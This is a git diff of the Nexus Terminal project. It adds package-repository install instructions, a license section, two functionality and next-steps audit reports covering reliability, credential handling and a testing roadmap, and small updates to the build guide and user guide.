+curl -fsSL https://repo.dixon.cx/dixon.gpg | sudo tee /etc/apt/keyrings/dixon.gpg >/dev/null
+echo "deb [signed-by=/etc/apt/keyrings/dixon.gpg] https://repo.dixon.cx/apt stable main" |
+    sudo tee /etc/apt/sources.list.d/dixon.list
+sudo apt update && sudo apt install nexusterminal
+```
+
+**Fedora, RHEL, openSUSE:**
+
+```sh
+sudo curl -fsSL -o /etc/yum.repos.d/dixon.repo https://repo.dixon.cx/rpm/dixon.repo
+sudo dnf install nexusterminal        # or: sudo zypper install nexusterminal
+```
+
+**Arch Linux:**
+
+```sh
+curl -fsSL https://repo.dixon.cx/dixon.asc | sudo pacman-key --add -
+sudo pacman-key --lsign-key C22FF7330668417C62C7A304CBC7951D7F2234D1
+printf '\n[dixon]\nServer = https://repo.dixon.cx/arch/$arch\n' | sudo tee -a /etc/pacman.conf
+sudo pacman -Sy nexusterminal
+```
+
+**Windows**, or any platform by hand: download a zip from
+[GitHub Releases](https://github.com/andydixon/nexus/releases) and check it against `SHA256SUMS`.
+Builds aren't code-signed yet, so macOS and Windows ask you to confirm the first launch.
+
 ## Quick start
 
 1. Launch Nexus Terminal.
@@ -27,10 +65,6 @@ Prefer a one-off session? Use **Cmd+Shift+Q** / **Ctrl+Shift+Q** to quick connec
 
 If a session drops, use the **Reconnect** button in the disconnected overlay.
 
-### Coming from Alchementary Link?
-
-On first run, Nexus Terminal copies your Alchementary Link profiles, encrypted vault and recordings into its own data directory, and picks up credentials saved in the OS keychain. The old data is left untouched. Older `.link` export files can still be imported.
-
 ## Documentation
 
 - Product overview: [docs/overview.md](docs/overview.md)
@@ -71,3 +105,17 @@ cargo run --release
 ```
 
 See [docs/build-and-release.md](docs/build-and-release.md) for platform prerequisites, tests and release packaging.
+
+## License
+
+Copyright (C) 2026 Andy Dixon.
+
+Nexus Terminal is free software: you can redistribute it and/or modify it under the terms of the
+[GNU Affero General Public License, version 3](LICENSE) as published by the Free Software
+Foundation. It is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+license for details.
+
+Third-party crates (including the patched copies in `rust/vendor/`) keep their own licenses,
+which are listed in each crate.
+

audits/20261012-0723-functionalityNextSteps.md

@@ -0,0 +1,139 @@
+# Functionality and Next Steps Report
+
+**Project:** Nexus Terminal — Rust port (`rust/` workspace)
+**Branch / base commit:** `rust-port` @ `8766846` (after this run: `aac986d`)
+**Date:** 2026-10-12 07:23 (local)
+**Companion:** `audits/20261012-0723-securityAudit.md` (SEC-20261012-NNN references below)
+
+## 1. Executive Summary
+
+The port is functionally complete relative to the Go/Wails app and is in good shape: the core crate is cleanly separated from the UI, every protocol client follows one lifecycle contract (blocking connect, own reader thread, `on_close` exactly once), the test suite (142 tests) exercises real sockets, a real `sshd`, PTYs and fake IRC/VNC/GitHub servers, and `clippy -D warnings` is clean.
+
+The highest-impact improvements now are reliability and user-experience rather than new protocols:
+
+1. **Credential UX** — a mistyped “saved” password is persisted before it is verified and then blocks every reconnect with no re-prompt (SEC-015); store failures are silent.
+2. **Resilience** — a panic on any worker thread poisons shared mutexes and takes the whole app down (`lock().unwrap()` everywhere); there is no panic hook, no crash message and no recovery of open sessions.
+3. **Product/privacy switches** — update checks, remote clipboard writes and multi-line paste all happen without a preference or notice.
+4. **Operability** — recording metadata, audit-log growth and the IRC state model scale poorly with long-running use.
+5. **Developer experience** — fuzz targets, a CI audit step and a documented `cargo clean` note after moving the checkout would have saved time in this run.
+
+## 2. Current Functional Risks
+
+| # | Risk | Where | Effect on users |
+|---|---|---|---|
+| F1 | Saved credential stored before auth succeeds; no path to replace it on failure other than editing the profile | `core/src/sessions.rs` `secret_fn` | Typo → every connect fails silently with the wrong saved password |
+| F2 | `Secrets::set` swallows errors (`let _ =`) | `core/src/secrets.rs` | “Save securely” silently doesn't save when the keychain refuses and the vault is locked |
+| F3 | Mutex poisoning: ~60 `lock().unwrap()` sites; any panic in a callback thread (e.g. a decoder bug) crashes the UI on the next lock | `sessions.rs`, `app.rs`, clients | One bad session kills all sessions, recordings stop mid-write |
+| F4 | No panic hook / crash dialog; `eframe` aborts silently | `app/src/main.rs` | Users see the window vanish with no explanation |
+| F5 | Quick Connect (SSH) allows an empty username; connection then fails at auth with an opaque server error | `app/src/quick_connect.rs`, `service.rs` `connect_quick` (unvalidated) | Confusing failure |
+| F6 | `import_ssh_config` writes profiles without `validate_profile` (e.g. empty `User`) | `core/src/service.rs` | Profiles that fail validation when later edited |
+| F7 | Unknown enum value in a stored JSON column (`hostKeyPolicy`, `lineEnding`, …) makes `parse_col` return `None`; the profile silently reverts that protocol's config to defaults | `core/src/storage.rs` `parse_col` | Lost settings after a downgrade/edit with a newer app |
+| F8 | Empty vault accepts any master password; a typo on first use creates entries under the wrong key (SEC-016) | `core/src/secrets.rs` | Unrecoverable secrets |
+| F9 | Recording listing reads every `.cast` fully (up to 250 MiB each) on the UI's worker thread (SEC-020) | `core/src/recording.rs` `read_meta` | Recordings window stalls with large files |
+| F10 | macOS `capture_cwd` runs `/usr/sbin/lsof` on every Enter in a local shell | `core/src/clients/local.rs` | Noticeable latency on macOS local tabs |
+| F11 | Keychain probe writes and deletes an item at every launch | `core/src/secrets.rs` `Keychain::available` | Keychain prompts/noise on macOS; D-Bus wake-ups on Linux |
+| F12 | Keychain legacy read-through copies `AlchementaryLink` items forward on every miss | `Keychain::get` | Repeated writes for keys that only exist in the legacy service |
+| F13 | GitHub refresh performs up to 5000 commit lookups every refresh interval with 5 threads | `core/src/clients/github.rs` | Token rate-limit exhaustion; 403s surface as “auth failed” |
+| F14 | IRC: channels/users tracked for any JOIN/NAMES seen, UI targets created for any sender (SEC-014) | `irc.rs`, `irc_view.rs` | Memory growth on busy networks |
+| F15 | `check_github` in `updater.rs` is unused (dead code) and hardcodes an owner/repo that may not exist | `core/src/updater.rs` | Misleading; GitHub fallback never runs |
+| F16 | Update check at every launch, no preference, docs say opt-in (SEC-013) | `app/src/app.rs` | Privacy expectation mismatch |
+| F17 | Audit log has no cap/rotation | `storage.rs` `add_audit` | DB grows indefinitely |
+| F18 | Stale `target/` after moving the checkout bakes old `CARGO_MANIFEST_DIR` into fixture tests (4 failures until `cargo clean`) | build hygiene | Confusing CI-vs-local mismatch |
+| F19 | `Secrets::delete_profile` relies on a static list of kinds (`PROFILE_SECRET_KINDS`); the profile editor and session manager still use string literals for kinds | `secrets.rs`, `profile_editor.rs`, `sessions.rs` | A new kind added in one place is missed by the purge |
+| F20 | Reconnect credential prompt timeout is 60 s vs 300 s on first connect | `sessions.rs` `schedule_reconnect` | Reconnects fail if the user is away briefly |
+
+## 3. Code Quality Improvements
+
+- **Secret kinds as a type**: replace the `&'static str` kinds (`"password"`, `"github-token"`, `"vnc-ssh-passphrase"`, …) scattered across `sessions.rs`, `profile_editor.rs` and `secrets.rs` with an enum (`SecretKind`) that has `as_str()` and `ALL`. Why: F19 and SEC-001 depend on the list staying complete. Safe step: enum + `From<&str>`; keep the string form for storage keys.
+- **Poison-tolerant locking**: introduce a small `fn lock<T>(m: &Mutex<T>) -> MutexGuard<T>` that recovers from poisoning (`unwrap_or_else(|e| e.into_inner())`, as `irc.rs`/`vnc.rs` already do) and use it in `sessions.rs`, `ssh.rs`, `app.rs`. Why: F3. Mechanical refactor; existing tests cover behaviour.
+- **Panic hook**: install `std::panic::set_hook` in `main.rs` that logs the payload (no locals) and posts a toast via `post_error`; keep worker panics from killing the UI. Why: F4.
+- **`parse_col` should not swallow errors**: log the parse error and keep the raw JSON (or surface a toast once) instead of returning `None`. Why: F7. Add `#[serde(other)]` variants to the enums so unknown values map to a named `Unknown` instead of failing the whole struct.
+- **`sessions.rs` (1 300 lines)**: split per-protocol connect functions (`connect_ssh/irc/vnc/github`) and the reconnect state machine into modules; the file is the hardest to test in isolation. Behaviour-preserving move; `tests/sessions.rs` guards it.
+- **Thread-per-event**: `on_close` spawns a thread per close and each connect spawns one; fine for a desktop app but makes ordering hard to reason about. Consider one `std::sync::mpsc` worker for lifecycle events.
+- **Duplicated defaults**: `Profile::new`, `Profile::normalize`, `profile_editor::prep` and `SshConfig::defaults` each know the default port/keepalive/retry values. Centralise in `models.rs` constants (already partly done) and have `prep` call `normalize`.
+- **`run_command("pwd")`** is the only use of exec for state; SFTP `realpath(".")` already gives the home — consider dropping the shell call to avoid shells that print banners.
+- **`Keychain::available` probe**: cache the result in preferences with a timestamp; re-probe weekly or on explicit request. Why: F11.
+- **Dead code**: `updater::check_github`, `Protocol::Local` branches in validation (`unsupported protocol`). Remove or wire up.
+- **`Store::migrate`**: wrap each migration in a transaction and record `schema_version` explicitly in code rather than relying on the SQL files to insert it (verify each file does).
+
+## 4. Frontend Interaction and Error-Handling Improvements
+
+The UI is native egui; the equivalent of “event firing / async failures / console diagnostics” was reviewed:
+
+- **Async failures surface**: every worker reports through `Job`, `Inbox`, `post_error` or `Shared::spawn`; the pattern is consistent. Gap: `Secrets::set` (F2) and `let _ = self.store.update_profile(&p)` in `connect_profile` discard errors — toast them.
+- **Modal keyboard handling**: `prompts()` and `dialogs()` read `Key::Enter`/`Escape` globally; with two modals stacked (a credential prompt while the Delete dialog is open) one key can act on both. Route keys only to the top-most modal (check `app.prompts.is_empty()` before dialogs read Enter).
+- **Credential prompt**: show which credential kind and profile; add “Save this credential” checkbox when the profile is in ask-every-time mode; after an auth failure with a saved secret, offer “Re-enter”.
+- **Host-key prompt**: offer “Copy fingerprint” and show the port; on key change, show both fingerprints side by side with a “Remove old key” action (today the user must go to Settings → Known Hosts).
+- **Clipboard from remote** (SEC-010): toast with the first line whenever OSC 52 or VNC sets the clipboard; preference to disable.
+- **Multi-line paste** (SEC-017): confirmation preview when the terminal is not in bracketed-paste mode.
+- **Transfers**: SFTP upload stops at the first failure and drops the rest of the queue (by design) — show which files were skipped.
+- **Console diagnostics**: adopt `tracing` with `RUST_LOG` support for connection lifecycle (host, protocol, state, error) — never credentials, never terminal data; today only `eprintln!` for CLI misuse exists.
+- **Crash fallback** (F4): panic hook + “Nexus Terminal hit an internal error; sessions were kept open where possible” dialog.
+- **Screenshot automation flags** (`--answer`): read from `NEXUS_ANSWERS` env/file instead of argv (SEC-018) and print a warning when used without `--screenshot`.
+
+## 5. Testing Roadmap
+
+- **Unit**: `secret_fn` ordering (store after success), `Vault` verifier (once added), `parse_col` unknown-enum behaviour, IRC state caps, `read_meta` tail parsing, `export_json` redaction of login-script sends.
+- **Integration**: extend `tests/ssh_integration.rs` with password + keyboard-interactive auth (sshd with `PasswordAuthentication yes` and a PAM-less test user is awkward; alternatively a russh server fixture), host-key change detection against the known-hosts table, remote forward teardown, SFTP rename/mkdir/remove.
+- **Abuse-case / fuzz**: `cargo-fuzz` targets for `vnc::read_update` (+ decoders), `telnet::Inner::process`, `irc::parse_line` + `ircformat::format_event`, `recording::Store::get`, `sshconfig::parse`, `updater::parse_manifest`. Run in CI nightly with a corpus from the existing fake-server tests.
+- **UI interaction**: the `--screenshot --do --answer` automation already drives the app headlessly; turn it into a smoke test matrix in CI (connect to the in-test sshd, open SFTP, run a palette command, assert the PNG is non-empty and the process exits 0).
+- **Regression**: keep the Go-fixture compatibility tests; add a fixture written by *this* version so future format changes are caught both ways.
+- **Load**: the ignored `perf::feed_throughput` test (50 MiB through the VT parser) should run in release mode in CI with a threshold; add a VNC decode benchmark on a synthetic 4K frame.
+- **Smoke**: `cargo audit` and `cargo deny check licenses advisories` jobs; `cargo test --locked` already runs on three OSes.
+
+## 6. Recommended New Functionality
+
+- **Preferences**: check-for-updates on/off (SEC-013), allow remote clipboard writes (SEC-010), confirm multi-line paste (SEC-017), confirm before `insecure` host-key policy connects.
+- **Credential management**: a Settings → Credentials page listing stored kinds per profile with “forget” buttons; master-password change (re-encrypt vault); export/import of the vault.
+- **Known hosts**: import from `~/.ssh/known_hosts` and export to it; SSH certificate CA trust (`@cert-authority`) since russh already parses certificates.
+- **Update integrity**: signed manifest (minisign/Ed25519), verified before display; optional in-app download with sha256 + signature check.
+- **IRC**: SASL PLAIN/EXTERNAL (modern networks reject NickServ IDENTIFY over plaintext), IRCv3 message tags for timestamps, per-network ISUPPORT line length.
+- **Serial**: session logging to file, hex view like RAW, break duration setting.
+- **SFTP**: recursive directory upload/download, drag-out to the desktop, resume on reconnect.
+- **Session**: “Send to all tabs in group”, per-session environment overrides for local shells, custom shell arguments.
+- **Operability**: audit-log viewer with cap/rotation; recordings metadata cache; “Diagnostics” page (keychain status, data dir, versions of russh/rustls, last update check).
+
+## 7. Next-Level Opportunities
+
+- **Observability**: `tracing` + optional file log with redaction; connection timing metrics in the status bar; opt-in crash reports (local file only).
+- **Resilience architecture**: supervisor-style session threads that catch panics per session (`std::panic::catch_unwind` around client callbacks) so one protocol bug cannot end the app.
+- **Security architecture**: move all secret-bearing fields out of `Profile` into the secret store behind a migration (keeps `.nexus` compatibility by exporting them inline only when “include secrets” is chosen); `Zeroizing`/`SecretString` throughout; Linux `PR_SET_DUMPABLE` while the vault is unlocked.
+- **Distribution**: signed, notarised builds; Flatpak/AppImage with sandboxing (`--filesystem=home:ro` + explicit `~/.ssh`), winget/Homebrew casks; SLSA provenance from the release workflow.
+- **Performance**: VNC — upload only dirty rows to the texture (`TextureHandle::set_partial`), decode JPEG on the I/O thread (already) but avoid the full `local.clone()` on resize; terminal — batch paint runs per style (already) and cache galleys per row.
+- **Accessibility**: egui `accesskit` is enabled; audit focus order in modals and provide screen-reader labels for icon-only buttons (`widgets::icon_button` has hover text only).
+- **Developer experience**: `justfile`/`make` targets for `test`, `clippy`, `audit`, `screenshot-smoke`; a `CONTRIBUTING.md` note about `cargo clean` after moving the checkout (F18); fuzz corpus checked in.
+
+## 8. Prioritised Action Plan
+
+**Immediate (this week)** — low risk, high value
+- Add the three preferences (update check, remote clipboard, paste confirmation) with safe defaults. Risk: trivial.
+- Toast on `Secrets::set` failure; store saved credentials after auth success (F1/F2). Risk: touches the auth path; covered by sshd tests — add a keyboard-interactive case.
+- Poison-tolerant lock helper + panic hook (F3/F4). Risk: mechanical.
+- Add `cargo audit` to CI with SEC-012 ignored and dated (outside `rust/`, owner's call).
+
+**Short term (next release)**
+- IRC state caps and joined-only tracking (F14).
+- `parse_col` error visibility and `Unknown` enum variants (F7).
+- Vault verifier entry (F8); keychain probe caching (F11).
+- Known-hosts import/export; host-key change dialog improvements.
+- Recording metadata from file tail (F9).
+
+**Medium term**
+- Secret-kind enum and credential management page (F19).
+- Fuzz targets + nightly job; screenshot smoke matrix.
+- Signed update manifest; release signing.
+- SASL for IRC; SFTP recursive transfers.
+
+**Long term**
+- Move profile-embedded secrets into the store with migration; `SecretString` everywhere.
+- Per-session panic isolation; `tracing`-based diagnostics.
+- Sandboxed distribution and provenance.
+
+## 9. Caveats and Validation Needed
+
+- Keychain behaviour (purge on delete, probe cost, legacy copy-forward) was verified by reading `keyring` usage, not by running against macOS Keychain, Windows Credential Manager or a live Secret Service; test on each OS before release.
+- The in-process key generator (`ssh::generate_key_pair`) was tested for Ed25519 and ECDSA; RSA generation runs the `rsa` crate's keygen (slow in debug builds — verify the UI stays responsive and that OpenSSH accepts the files on all three platforms).
+- `--data-dir` now creates directories 0700; if any user relies on sharing a portable data directory between accounts this changes behaviour.
+- The VNC size cap (64 Mpx) is above any real display; confirm with multi-monitor spanning setups (e.g. 3×4K = 37 Mpx) before lowering it.
+- Preference defaults for update checks and remote clipboard are product decisions; both have compatibility implications (vim/tmux yank over SSH relies on OSC 52).
+- UI event flows were validated by code review and the existing automation flags, not by an interactive run in this environment.

audits/20261012-2201-functionalityNextSteps.md

@@ -0,0 +1,136 @@
+# Functionality and Next Steps Report
+
+Nexus Terminal 3.0.1, reviewed alongside `20261012-2201-securityAudit.md`.
+
+## 1. Executive Summary
+
+The product is broad and mostly solid: nine protocols, sync, restore, shell integration, inline images, RDP devices and a 71-page guide. The highest-impact improvements now:
+
+- **Make the UI thread untouchable.** Several remote- or device-driven paths still do blocking or unbounded work on the UI thread:
+  - serial writes;
+  - inline image decode;
+  - find-bar recomputation;
+  - recording seek;
+  - the unbounded event queue.
+  Moving them to workers, or adding budgets, removes a whole class of "one bad peer freezes everything" reports.
+- **Finish the trust story for sync.** Timestamps are clipped and retargeted credentials are forgotten. What's still missing:
+  - a visible "what changed" summary;
+  - approval for security-relevant fields;
+  - eventually per-machine signatures.
+- **Credentials out of profile data.** Login-script passwords are the last secrets stored as profile data.
+- **Signed updates and releases**, as already planned by the owner.
+- **One fixed functional break:** link opening never worked, because eframe's `links` feature was missing. It is fixed now, but it shows the UI has no automated coverage for "does the click do something".
+
+## 2. Current Functional Risks
+
+| Risk | Where | Effect |
+|---|---|---|
+| Find bar recomputes matches over the whole scrollback (≤100k lines) on every output chunk while open | `app/src/terminal.rs` find (≈1035-1075) | A chatty session plus an open find bar pins the UI thread |
+| Recording seek re-feeds from byte 0 on every slider frame | `app/src/recordings.rs` `seek` | Dragging the slider on a big recording wedges the UI |
+| `.cast` ids: `trim_end_matches(".cast")` strips repeatedly and `trim()` changes names | `core/src/recording.rs` | `a.cast.cast` plays or deletes `a.cast`; names with leading spaces break |
+| A failed recording load closes the browser before the error toast | `app/src/recordings.rs` | The user loses their place |
+| `Dialog` is a single `Option`; terminal responses and menus overwrite an open dialog | `tabs.rs`, `app.rs` | A pending Delete confirmation can silently disappear |
+| A remote forward with `bind_port == 0` can't be stopped (cancel uses port 0) | `core/src/clients/ssh.rs` `shutdown_forward` | Forward stays listed and active on the server |
+| `sftp()` session cached forever; a dead subsystem breaks SFTP until reconnect | `core/src/clients/ssh.rs` | "SFTP stopped working" reports |
+| SFTP `list()` treats symlinks to directories as files | `core/src/clients/sftp.rs` | Can't navigate into linked directories |
+| No SFTP transfer cancellation | `core/src/clients/sftp.rs` | Large accidental downloads can't be stopped |
+| ssh-config import keeps only the first `ProxyJump` hop; `Host !foo` becomes a profile; `=` split on the first `=` anywhere | `core/src/sshconfig.rs` | Imported profiles connect differently from `ssh` |
+| Jump-host `auth_method`/`secret_mode` ignored (key/agent only) | `core/src/clients/ssh.rs` `via_jumps` | Password-only bastions can't be used |
+| IPv6 literals break KDC and gateway host:port parsing | `rdp.rs`, `ironrdp-mstsgu` | `[::1]:443` doesn't work |
+| RD Gateway consent message aborts the connection | vendored `ironrdp-mstsgu` | Enterprise gateways with a banner fail |
+| Kerberos hostname comes from `$HOSTNAME`, which is rarely exported | `rdp.rs` | Computer name is almost always "nexus" |
+| `is_newer` ignores pre-release suffixes | `core/src/updater.rs` | An `-rc` build isn't offered the final release |
+| Swallowed errors: tombstone write failure, vault delete failure, `triggers.json` read failure | `service.rs`, `secrets.rs`, `triggers.rs` | Silent data inconsistency |
+| `has_sync_password` was a keychain round trip per frame (now cached for 5 s) | `service.rs` | Fixed; included here because macOS keychain prompts were possible |
+
+## 3. Code Quality Improvements
+
+- **One GCM helper.** `secrets::seal/open` and `exportimport::seal/open` duplicate the AES-GCM wrapping with different layouts. Merge them into one helper that takes AAD; that also closes SEC-049 at the next format bump.
+- **Writer threads for every byte-stream client.** VNC already has a bounded queue. Telnet/RAW now have a write timeout, but writes still run on the caller's thread, and Serial and local PTY writes block under locks. One pattern for all of them removes a recurring bug class.
+- **Dead code:** `Store::import_profiles` (no callers), `TermResponse.title` / `TermEvent::Title` plumbing (never read), the stray doc comment in `updater.rs`, the stale `.gitignore` whitelist for `rust/core/tests/fixtures/**`, and "Alchementary Link" strings left in `migrations/001_initial.sql` and `updates/index.php`.
+- **`parse_col`** drops an unreadable config column, and the next save overwrites it with defaults. Keep the raw JSON and merge, so a config written by a newer build survives an older one.
+- **Dependency hygiene:** move nexus-core to `rand 0.9`, `argon2 0.6`, `aes-gcm 0.11` and `sha2 0.11` to match the rest of the graph, collapsing duplicate crypto crates.
+- **Vendored crates:** commit `.patch` files plus upstream tarball sha256, and add a CI check that the patches still apply cleanly to the pinned upstream versions.
+
+## 4. Frontend Interaction and Error-Handling Improvements
+
+(The UI is native egui. These are its equivalents of the frontend event and error items.)
+
+- **Keep heavy work off the UI thread:**
+  - decode inline images on a worker;
+  - debounce find to ≤10 Hz, or restrict it to visible rows plus N;
+  - seek recordings on `drag_stopped`;
+  - write serial data on a writer thread.
+- **Bound the event queue:** a per-session byte budget, coalescing consecutive `Data` events.
+- **Dialogs:** make `Dialog` a small stack, or refuse to replace a confirmation dialog, so destructive confirmations can't vanish.
+- **A sync change summary:** after a pull, list the changed profiles and fields (host, user, key policy, scripts, forwards, shared folder), with approve/revert for the security-relevant ones.
+- **Explain withheld credentials:** IRC now does this for plaintext servers. Do the same for any future "held back for safety" behaviour, ideally with a one-click fix (enable TLS).
+- **Clipboard settings:** consider defaulting "Allow remote clipboard writes" to off, or prompting on multi-line writes. The toast is now honest about line counts.
+- **Debug logs:** before a user shares `RUST_LOG=debug` logs, the Diagnostics page should warn that debug output from the RDP libraries can contain authentication blobs and shared-folder data.
+
+## 5. Testing Roadmap
+
+- **Unit:**
+  - RDPDR read clamp;
+  - oversized RDP desktop;
+  - `.cast` id mapping;
+  - remote forward with port 0 stop;
+  - `parse_col` with an unknown future field;
+  - import strategies (skip/overwrite/duplicate, duplicate ids in one batch, size caps).
+- **Integration:**
+  - two-sshd jump chain proving a jump host can't open agent or forwarded-tcpip channels (SEC-008);
+  - a stalled SSH server proving every phase hits its timeout;
+  - a fake Telnet peer that floods and never reads, proving `close()` returns quickly.
+- **Migration fixtures:** real schema-1 and schema-7 databases opened by the current build, including one with Go-era `proxyPassword` keys.
+- **Fuzzing:**
+  - new targets for `.cast` parsing, `known_hosts::parse`, `exportimport::open` and the JSON profile importer;
+  - seed the VNC corpus with valid ZRLE/Tight zlib streams;
+  - keep `-timeout` (now 10 s) so slow-input bugs surface.
+- **UI smoke:**
+  - a headless run per protocol using the existing screenshot automation (`--connect`, `--do`, `--screenshot`) as a CI job, asserting no panic and a non-blank frame;
+  - "does this click do something" checks (link open, Copy, Paste) would have caught the missing `links` feature.
+- **Load:** stream 512 MiB through a RAW session with the UI paused and assert bounded RSS (SEC-044).
+
+## 6. Recommended New Functionality
+
+- **Secret placeholders in login scripts** (`{{password}}`, `{{totp}}`) resolved from the keychain or vault at run time. This removes plaintext secrets from profiles (SEC-020) and improves the feature.
+- **Sync change review and per-machine trust:** pair machines once by exchanging ed25519 public keys and sign sync records. Then the sync password is no longer the only key.
+- **Signed update checks:** a minisign signature over the manifest, with the public key embedded, and verification in the updater. Pairs with the signing work already planned.
+- **RDP NLA memory:** remember that a host did NLA and refuse a TLS-only downgrade later (SEC-019). Show "no NLA" visibly in the toolbar when it is in use.
+- **VNC "unauthenticated session" indicator**, shown when the server picks security type None.
+- **IRC TLS certificate pinning** for private-CA networks, so users aren't nudged to turn TLS off.
+- **SFTP:** transfer cancellation and following symlinked directories.
+- **Jump hosts with passwords:** honour the existing `auth_method` and `secret_mode` fields.
+
+## 7. Next-Level Opportunities
+
+- **Observability:** a "Copy debug bundle" action that redacts known-sensitive upstream log targets automatically, instead of relying on the user's `RUST_LOG` choice.
+- **Architecture:** a single I/O runtime per session (tokio already runs SSH) for Telnet, RAW, Serial and VNC. That gives consistent cancellation, timeouts and back-pressure, and removes several thread-per-connection blocking patterns.
+- **Release engineering:** build provenance attestations, signed tags, and reproducible-build notes. Releases are already split into build (read-only) and publish (write) jobs.
+- **Accessibility:** egui AccessKit is enabled. Audit screen-reader labels on the desktop viewers and terminal (password fields are already masked for AccessKit).
+- **Performance:** the OSC 8 underline painter issues up to cols/3 `hline` calls per cell per frame, and the RAW hex row cache is bounded by count, not bytes. Both are cheap wins.
+
+## 8. Prioritised Action Plan
+
+| When | Action | Why | Risk |
+|---|---|---|---|
+| Immediate | Fix the GitHub Actions billing block so CI and the v3.0.1 release builds run | No CI signal and no release artefacts right now | None |
+| Short term | Event budget, find debounce, recording seek on drag-stop, serial writer thread | Remove the remaining UI-freeze vectors | Low; contained changes |
+| Short term | Sync change summary plus approval for security-relevant fields | Closes SEC-021 | Medium; UX design needed |
+| Short term | RDP NLA memory (SEC-019) | Downgrade protection | Low; needs a small known-hosts field |
+| Medium | Login-script secret placeholders | Removes the last plaintext secrets | Medium; changes the script editor and migration |
+| Medium | Merge the GCM helpers with AAD, bump crypto crates, vendored patch checks | Hygiene and integrity | Low |
+| Medium | Fuzz targets and migration fixtures listed in §5 | Regression safety | None |
+| Long term | Signed manifests, binaries and tags; per-machine sync signatures | Supply-chain and sync trust | Medium; key management |
+
+## 9. Caveats and Validation Needed
+
+- **Not exercised against real systems:**
+  - Windows RDP with NLA and Display Control;
+  - RD Gateway;
+  - Kerberos;
+  - macOS/Windows keychains (after the `Zeroizing` API change);
+  - real plaintext IRC networks (behaviour changed: passwords are now held back there).
+- **Release ordering:** the release workflow now publishes only after every platform builds, so one failing platform blocks the release. Confirm that is the preferred trade-off over partial releases.
+- **Sync re-prompts:** forgetting credentials on retargeted sync/import means a host edit on one machine makes the others re-prompt once. That is intended, but users should be told (it's in the manual now).
+- **Profile ids:** ids are now limited to `[A-Za-z0-9._-]{1,64}`. Every id this app generates is a UUID, but hand-made JSON imports with unusual ids will be refused rather than rewritten. Rewriting them on import is a possible follow-up.

docs/build-and-release.md

@@ -17,7 +17,7 @@ The toolchain is pinned in `rust/rust-toolchain.toml`; `rustup` installs it on f
 
   ```bash
   sudo apt-get install -y build-essential pkg-config libxkbcommon-dev libgl1-mesa-dev \
-    libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev zip
+    libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev libasound2-dev zip
   ```
 
 - **macOS:** Xcode command-line tools (`xcode-select --install`).

docs/guide/chapters/appendix.tex

@@ -44,6 +44,7 @@
   \shortcut{Next / previous match}{\kbd{Enter} / \keys{Shift+Enter}}
   \shortcut{Scroll a page}{\keys{Shift+PageUp}}
   \shortcut{Top / bottom}{\keys{Shift+Home} / \kbd{End}}
+  \shortcut{Previous / next prompt}{\keys{\mod+Shift+Up} / \kbd{Down}}
   \shortcut{Open link}{\kbd{Ctrl}/\kbd{\ph{E1C4}} + click}}
 
 \sheet{pink}{\iMap\enspace Mouse moves}{%
@@ -63,8 +64,11 @@
   --data-dir DIR        & Use another data folder (portable installs, demos, testing).\\
   --theme pro|midnight|light & Start with this theme.\\
   --connect NAME        & Connect to a saved profile by name at startup. Repeat it for several.\\
-  --open WINDOW         & Open a window at startup: \code{settings}, \code{settings:security}, \code{snippets},
-                          \code{keys}, \code{recordings}, \code{palette}, \code{quick}…\\
+  --open WINDOW         & Open a window at startup: \code{settings}, \code{settings:security},
+                          \code{settings:diagnostics}, \code{snippets}, \code{keys}, \code{recordings}, \code{palette},
+                          \code{quick}…\\
+  --run-local CMD       & Open a local shell and run a command in it.\\
+  RUST\_LOG=debug        & (environment) More detail in \code{nexus.log}, and on the terminal you started from.\\
   --version             & Print the version and exit.\\
   \bottomrule
 \end{tabularx}
@@ -72,7 +76,7 @@
 \begin{sidequest}[How the screenshots in this guide were made]
 Every screenshot here is the real app, driven by \code{docs/guide/tools/screenshots.sh}: it starts throwaway
 SSH, IRC, VNC and GitHub-ish servers, fills a demo data folder, and runs Nexus Terminal headless with
-\code{--screenshot}, \code{--do} (run a palette command) and \code{--answer} (fill a password prompt). Change the app,
+\code{--screenshot}, \code{--do} (run a palette command) and \code{--answer} (fill a password prompt; only accepted together with \code{--screenshot}). Change the app,
 rerun the script, rebuild the guide.
 \end{sidequest}
 
@@ -87,13 +91,18 @@ rerun the script, rebuild the guide.
   \item[Bastion / jump host] A server you go \emph{through} to reach the ones behind it.
   \item[Baud rate] How fast a serial line talks. Both ends must agree.
   \item[Broadcast] Typing into several sessions at once.
+  \item[Certificate authority] A key that vouches for other keys, so servers signed by it are trusted without a prompt.
   \item[DTR / RTS] Serial control lines. Some boards use them for reset or flashing.
   \item[Fingerprint] A short summary of a server's host key, used to spot imposters.
   \item[Host key] A server's identity. Changes when it's rebuilt, or when someone's pretending.
   \item[Keychain] Your operating system's password store.
+  \item[NLA] Network Level Authentication: Windows checks your password before building a desktop.
+  \item[OSC 133] The escape codes a shell uses to mark its prompts, which powers shell integration.
   \item[Port forward] A tunnel carrying one TCP port through SSH.
   \item[Profile] A saved connection.
   \item[RAW TCP] A plain socket: bytes in, bytes out, no terminal rules.
+  \item[RDP] Microsoft's Remote Desktop Protocol, for Windows (and xrdp) desktops.
+  \item[SASL] How IRC networks log you in while you connect, instead of messaging NickServ afterwards.
   \item[SFTP] File transfer over SSH.
   \item[Snippet] A saved command, optionally with blanks to fill in.
   \item[TOTP] Time-based one-time passwords: the six digits from your authenticator app.

docs/guide/chapters/part1-start.tex

@@ -40,10 +40,9 @@ The first time you open Nexus Terminal you get a calm, empty welcome screen. Thr
 
 \shot{welcome.png}{The welcome screen. Your saved connections will live down the left; here there are a few already.}
 
-\begin{headsup}[Coming from Alchementary Link?]
-Nexus Terminal spots your old data on first run and copies your profiles, vault and recordings across
-automatically. You'll see a little toast saying so. Your old data is left exactly where it was.
-The details are in \hyperref[ch:move]{Moving house} on p.\,\pageref{ch:move}.
+\begin{headsup}[Got more than one computer?]
+Point \ui{Profile sync} at a shared folder and your connections follow you around. See
+\hyperref[ch:move]{Moving house} on p.\,\pageref{ch:move}.
 \end{headsup}
 
 \section{Make your first connection}
@@ -51,7 +50,7 @@ The details are in \hyperref[ch:move]{Moving house} on p.\,\pageref{ch:move}.
 \begin{enumerate}
   \item Click \ui{New Connection}, or press \keys{\mod+N}.
   \item Pick the protocol along the top: \proto[teal]{SSH}, \proto[amber]{Telnet}, \proto[violet]{RAW TCP},
